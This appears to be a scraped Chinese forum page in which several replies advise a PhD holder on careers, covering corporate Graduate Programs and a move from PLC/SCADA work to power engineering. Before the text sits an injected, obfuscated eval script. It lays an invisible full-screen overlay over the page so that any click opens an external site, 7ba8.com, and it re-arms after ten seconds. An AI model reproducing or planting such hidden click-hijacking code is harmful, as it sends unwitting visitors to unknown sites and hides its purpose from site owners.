<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>1,个人建议你还是脚踏实地的从基层慢慢做起吧。说实话,你虽然是博士,但是你和那些没怎么上过学的人比做生意又有什么优势呢?人才放错了位置就是庸才。世界上根本就没有捷径可走,又何况是一条“不熟悉的捷径”。
2,同为作技术的人,觉得你职业规划不明确。Graduate Program不是学历高就可以的,筛选过程是很严格的,一般都是需要1到4年的工作经验的,而且对应聘者的综合素质考察的很细很全面。作为“外国人”最终能够成功的很少。我也是在当地工作了4年后才在1年前申请到了一个世界500强,业界最知名企业的Graduate Program.当时记得薪水开始就已经8万5了。而且最大的吸引两年内中国,美国,澳洲三地都会有我的办公桌。可以直接接触到超大型最先进的重工业项目,而且也已经成功从electrical engineer偏PLC,SCADA转型到了Power engineer. 同批进去地"Graduate"都是很有能力的。只是大家的skill side不同而已。你觉得你和我们一起工作还别扭和大材小用吗?!但是这些都是之前一个项目接着一个项目一步一个脚印走过来的。哪里有捷径阿。你的算法可能很前瞻性,但是在真正的工业应用,大家还是普遍用最经典的算法来实现。
3,每个人的情况都不一样。只是和你分享一下我自己个人的想法,如果有冒犯请见谅。 |